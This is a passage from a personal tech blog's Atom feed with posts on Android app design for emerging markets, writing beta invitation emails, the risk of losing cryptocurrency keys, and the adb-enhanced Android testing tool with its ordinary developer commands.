<p>Avoid non-deterministic progress indictors - non-deterministic UI indicators, especially, for the network operations, are bad. First, they don&rsquo;t show progress, and second, sometimes, the developers fail to implement the error case, and the non-deterministic progress bar goes on forever. A deterministic indicator tells the user if any progress is happening or not. An alternative approach would be to show a non-deterministic indicator first and then after a timeout, if the network-based job is still pending, switch to a deterministic indicator.</p>
</li>
<li>
<p>Any network operation including idempotent operations like search or state-modifying operations like uploads/downloads etc. should be cancelable, or else the user will be forced to kill the app to prevent a big upload/download from using all of their cellular data.</p>
</li>
<li>
<p>Monitor for   
    
    
<a href="https://developer.android.com/reference/android/net/ConnectivityManager#CONNECTIVITY_ACTION?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">network connectivity</a> changes to</p>
<ol>
<li>automatically retry operations which got canceled earlier due to the loss of network connectivity</li>
<li>perform background prefetching or increase media quality to enhance user experience if the user is now on an   
    
    
<a href="https://developer.android.com/reference/android/support/v4/net/ConnectivityManagerCompat.html#isActiveNetworkMetered%28android.net.ConnectivityManager%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">unmetered</a> Wi-Fi</li>
<li>stop aggressive prefetching or decrease media quality to prevent data drain if the user is on   
    
    
<a href="https://developer.android.com/reference/android/net/ConnectivityManager#TYPE_MOBILE?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cellular connection</a> or even more aggressively if the user is on   
    
    
<a href="https://developer.android.com/reference/android/net/NetworkInfo.html#isRoaming%28%29?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">roaming</a>.</li>
</ol>
</li>
<li>
<p>Ensure that in the offline mode, actions on the local data like search still works.</p>
</li>
<li>
<p>Follow Google&rsquo;s guidelines on asking for   
    
    
<a href="https://developer.android.com/training/permissions/requesting#explain?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">runtime permissions</a> at the time of use and with a proper rationale prompt first.</p>
</li>
</ol>
</li>
<li>Programming languages &amp; libraries
<ol>
<li>Try to avoid languages other than Java and Kotlin - Native code like C/C++ produces architectural problems like   
    
    
<a href="https://commonsware.com/blog/2013/11/21/libhoudini-what-it-means-for-developers.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">libhoudini</a>. High-level but generic languages like Javascript fail to make the best use of the platform. I would recommend that, if you can, stay with Java/Kotlin. Sometimes, due to business reasons to share cross-platform code or technical reasons (e.g., using webrtc), it is unavoidable to fully stay with Java/Kotlin.</li>
<li>Always use support library components instead of the platform provided ones - Many things like Fragments, AutoCompleteTextView, etc. are duplicated in the platform as well as the support library. Default to the support library ones since they are more stable and have more bug fixes and performance improvements than the platform components whose updates are tied to the Android OS update.</li>
<li>Always provide a fallback for Google Play Services features like   
    
    
<a href="https://developers.google.com/games/services/android/signin?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Login</a>,   
    
    
<a href="https://developers.google.com/identity/sms-retriever/overview?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sms Retriever</a>, or   
    
    
<a href="https://developers.google.com/location-context/fused-location-provider/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Fused Location Provider</a> to deal with missing/obsolete Google Play Services. Google Play Services app is different from the Google Play app. Google Play Services is a relatively pretty bloated and bulky app taking upwards of 500MB disk space, and therefore, many users uninstall its latest version from time to time to free up space.</li>
</ol>
</li>
<li>Distribution
<ol>
<li>Google Play is not the only distribution channel in the emerging markets.
Upload   
    
    
<a href="https://developer.android.com/studio/build/configure-apk-splits?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">split</a> apks to Google Play but also provide a fat apk as on your website for the direct download. In many parts of the world, users prefer sharing apks via   
    
    
<a href="https://play.google.com/store/apps/details?id=com.lenovo.anyshare.gps&amp;hl=en_US&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ShareIt</a>, or they simply never sign into their Google account. Rather than letting these users go to random websites, provide a direct   
    
    
<a href="https://www.whatsapp.com/android/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">download option</a> on your website.</li>
<li>App updates
Apps won&rsquo;t update automatically if the user is not signed in to Google Play or has disabled automatic updates. Therefore,   
    
    
<a href="https://3.bp.blogspot.com/-qafHv0ngD88/VoEmdYiGT9I/AAAAAAAAB1Q/-NqJFZP521U/s400/whatsapp-error-version-is-obsolete-now.JPG?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">prompt</a> them to update the app after a certain time interval.</li>
<li>Login -Many users might not have email, Google, or Facebook account. Therefore, provide phone number based registration and login as an option. Also, the only safe way to verify whether the user owns a number or not is to have them confirm that they can receive a code via SMS or phone call on that number. Similarly, if the user is logging in using their phone number, use their contact book as a source of their connections.</li>
</ol>
</li>
<li>Miscellaneous
<ol>
<li>Use   
    
    
<a href="https://developer.android.com/reference/android/support/v4/util/AtomicFile?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AtomicFile</a> to read/write all files, or at least all critical files. Your app can be killed anytime by the system, and that can lead to corrupt files.</li>
</ol>
</li>
</ol>
<p>Note: I have referenced the adbe command, which is part of the   
    
    
<a href="https://github.com/ashishb/adb-enhanced?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">adb-enhanced</a> tool.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/></entry><entry><title type="html">Startup founders: How not to write an email</title><link href="https://ashishb.net/tech/startup-founders-how-not-to-write-an-email/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><link href="https://ashishb.net/tech/fundraising-rounds-then-and-now/?utm_source=atom_feed" rel="related" type="text/html" title="Fundraising rounds then and now"/><link href="https://ashishb.net/tech/random-thoughts-goals-and-company-types-in-tech-world/?utm_source=atom_feed" rel="related" type="text/html" title="Random thoughts: goals and company types in tech world"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/tech/server-vs-mobile-development-where-code-runs-matter/?utm_source=atom_feed" rel="related" type="text/html" title="Server vs mobile development: Where the code runs matter"/><id>https://ashishb.net/tech/startup-founders-how-not-to-write-an-email/</id><author><name>Ashish Bhatia</name></author><published>2018-07-22T23:15:13+00:00</published><updated>2018-07-22T23:15:13+00:00</updated><content type="html"><![CDATA[<blockquote>Learn to craft engaging beta invitation emails that capture early adopters with clarity. Discover key strategies to ensure your startup stands out and gets the response you need.</blockquote><p>Consider this email,</p>
<p><img alt="email" loading="lazy" src="/tech/startup-founders-how-not-to-write-an-email/bad-email-842x1024.jpeg"></p>
<p>And now consider this one,</p>
<blockquote>
<p>Hi Ashish,</p>
<p>You signed up for the Orchard beta not too long ago, and we&rsquo;re excited to finally send you an invite!</p>
<p>( <strong>Just to jog your memory, Orchard helps you make the most of your relationships, keeping you up to date on where you&rsquo;re spending your time and who you need to catch up with. It&rsquo;s somewhere between a personal CRM and a todo list for your connections.</strong>) [Emphasis mine]</p>
<p>You should receive an invite from Apple&rsquo;s Testflight service in the next few minutes. It will contain a code or link you need to install the app. You&rsquo;ll also need to have the TestFlight app installed on your phone. If you need us to send the invite to a different email address, just reply to this message and let us know.</p>
<p>Once you&rsquo;ve checked out the app, please send us your feedback — this is a beta and we need your help to improve! Be honest, frank, and opinionated: you won&rsquo;t hurt our feelings. Bugs, ideas, concerns, etc all fair game. You can reply to me or send to 
<a href="mailto:team@orchard.ai">team@orchard.ai</a>.</p>
<p>Thank you!</p>
<p>Brian and the entire Orchard team</p>
<p>
<a href="mailto:brian@orchard.ai">brian@orchard.ai</a></p></blockquote>
<p>Which one do you think your early adopters have a higher likelihood of understanding and responding to?
Don&rsquo;t forget while you might live and breathe your startup, your early adopters have probably signed up to try several such services, and unless you remind them what your product is about, they might as well delete the email and move on.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/email-writing" term="email-writing" label="email-writing"/><category scheme="https://ashishb.net/tag/startups" term="startups" label="startups"/></entry><entry><title type="html">The "key" problem in cryptocurrency</title><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding HTTPS warnings and error messages"/><id>https://ashishb.net/tech/the-key-problem-in-cryptocurrency/</id><author><name>Ashish Bhatia</name></author><published>2018-07-02T06:05:20+00:00</published><updated>2018-07-02T06:05:20+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the risks of losing cryptocurrency private keys and explore potential solutions for secure storage. Are there truly effective decentralized methods?</blockquote><p>All cryptocurrencies are eventually tied to a &ldquo;private&rdquo; key. You lose this key, and the funds are gone, forever.   
    
    
<a href="https://www.google.com/search?q=lost&#43;bitcoin&#43;key&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Millions worth of bitcoins</a> have disappeared from the circulation due to lost keys. You can memorize the key by mapping it into passphrase consisting of memorizable words but if you forget that, like   
    
    
<a href="https://www.slate.com/blogs/future_tense/2017/12/08/people_who_can_t_remember_their_bitcoin_passwords_are_really_freaking_out.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">many others</a>, the coins are unrecoverable. An alternative is to trust a centralized service like Coinbase, but then all the benefits of investing in a decentralized currency are gone. Lastly, one can use a   
    
    
<a href="https://en.bitcoin.it/wiki/Storing_bitcoins#Hardware_wallets?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hardware wallet</a>, but again, if you lose the wallet, the key is lost. If you keep the key on your device, then a   
    
    
<a href="https://cointelegraph.com/news/malware-steals-user-funds-bitcoin-wallet-keys-from-pcs-bitcoin-altcoins-targeted?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">malware</a> might target and try to steal it someday. Thus, even if you are bullish on cryptocurrencies, there are no good decentralized ways of holding a significant chunk of your net worth in cryptocurrencies.</p>
<p>The problems are compounded further by the fact that to a great extent, the key access is all or none. If you lose your key, you lose all the funds. If I got hold of your key, I could transfer 100 % of your funds, irrevocably. Compare this to your ATM debit card, if I get hold of it, along with your pin, there is only so much damage I can do before the ATM limit hits. Further, your credit card used on a malicious website can hit you with a limited amount of fraud before the fraud warnings block the card to prevent further loss of funds.</p>
<p>An ideal approach, hopefully, will consist of decentralized smart contracts comprised of multiple keys tied to the same passphrase with a different set of transfer limits. So that, if one forgets one word in the passphrase and cannot access 100% of the funds now but can access at most 1% funds every day and slowly drain out their account to a newer account. Some of these unlocking codes will be held at different places, some centralized services for custody and ease of use; some kept on the personal device for ease of use where even if they get stolen the damage is contained. A further addition could be a beneficiary account where the funds would be transferred to in case the account lays dormant for a certain period.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/cryptocurrencies" term="cryptocurrencies" label="cryptocurrencies"/><category scheme="https://ashishb.net/tag/encryption" term="encryption" label="encryption"/></entry><entry><title type="html">adb-enhanced: A swiss army knife for Android development</title><link href="https://ashishb.net/programming/adb-enhanced/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><link href="https://ashishb.net/programming/architecting-android-apps-for-emerging-markets/?utm_source=atom_feed" rel="related" type="text/html" title="Architecting Android apps for emerging markets"/><link href="https://ashishb.net/programming/android-sqlite/?utm_source=atom_feed" rel="related" type="text/html" title="Android: The right way to pull SQLite database"/><id>https://ashishb.net/programming/adb-enhanced/</id><author><name>Ashish Bhatia</name></author><published>2018-06-23T22:01:49+00:00</published><updated>2018-06-23T22:01:49+00:00</updated><content type="html"><![CDATA[<blockquote>Simplify Android app testing with adb-enhanced, a powerful tool automating common scenarios like runtime permissions, battery modes, and app execution. Easy install!</blockquote><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th></th>
          <th></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>  
    
    
<a href="https://androidweekly.net/issues/issue-316?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured in Android Weekly" loading="lazy" src="/programming/adb-enhanced/android-weekly-badge.svg"></a></td>
          <td>  
    
    
<a href="https://blog.csdn.net/u012867040/article/details/76500762?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on CSDN blog" loading="lazy" src="/img/csdn-badge.svg"></a></td>
          <td><img alt="GitHub Repo stars" loading="lazy" src="https://img.shields.io/github/stars/ashishb/adb-enhanced?style=flat&label=GitHub%20stars"></td>
          <td><img alt="PyPI - Version" loading="lazy" src="https://img.shields.io/pypi/v/adb-enhanced?label=Python%20Package"></td>
      </tr>
  </tbody>
</table>
<p>Android development requires tons of disconnected approaches for development and testing. Consider some scenarios</p>
<ol>
<li>To test runtime permission - Go to Settings -&gt; Applications -&gt; Application info of the app you are looking for and disable that permission.</li>
<li>To test a fresh install - <code>adb shell pm clear-data com.example</code></li>
<li>To test your app under the battery-saver mode - turn on the battery saver mode by expanding the notification bar</li>
<li>To stop the execution of an app -  kill it via activity manager, <code>adb shell am kill com.example</code></li>
<li>To test your app under doze mode - first, make the device believe that it is unplugged via
<code>adb shell dumpsys battery unplug</code>, then, make it think that it is discharging via
<code>adb shell dumpsys battery set status 3</code>, and then enable doze mode via
<code>adb shell dumpsys deviceidle force-idle</code>.
And don&rsquo;t forget to execute a set of unrelated complementary commands once you are done to bring
the device back to its normal state.</li>
<li>To see the over draw of the app - Go to the developer options and enable/disable it there.</li>
</ol>
<p>Over time, this became a significant mental burden that I first wrote some of these flows in a text file and then converted them to automated shell scripts. But when even that felt insufficient, I created a tool for myself called adb-enhanced.</p>
<p>How it works:</p>
<p>First, install the tool. I wrote this in Python, so, if the following command does not work, install   
    
    
<a href="https://www.python.org/downloads/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Python</a></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pip3 install adb-enhanced <span style="color:#586e75"># Python2 is no longer supported since 2021</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, let&rsquo;s look at the about use-cases again with this tool:</p>
<ol>
<li>To test runtime permission :</li>
</ol>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Use grant instead of revoke to grant the permission</span>
</span></span><span style="display:flex;"><span>adbe permission revoke com.example camera <span style="color:#586e75"># See all possible such permissions via &#34;adbe -h&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><ol>
<li>To test a fresh installation -</li>
</ol>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Unlike adb shell pm clear-data com.example, this command will</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># produce an error if com.example is not installed</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># which is good for catching typos</span>
</span></span><span style="display:flex;"><span>adbe clear-data com.example</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><ol>
<li>To test your app under the battery saver mode -</li>
</ol>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># As you would guess, use &#34;off&#34; to turn the battery saver off</span>
</span></span><span style="display:flex;"><span>adbe battery saver on</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><ol>
<li>To stop the execution of an app -</li>
</ol>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
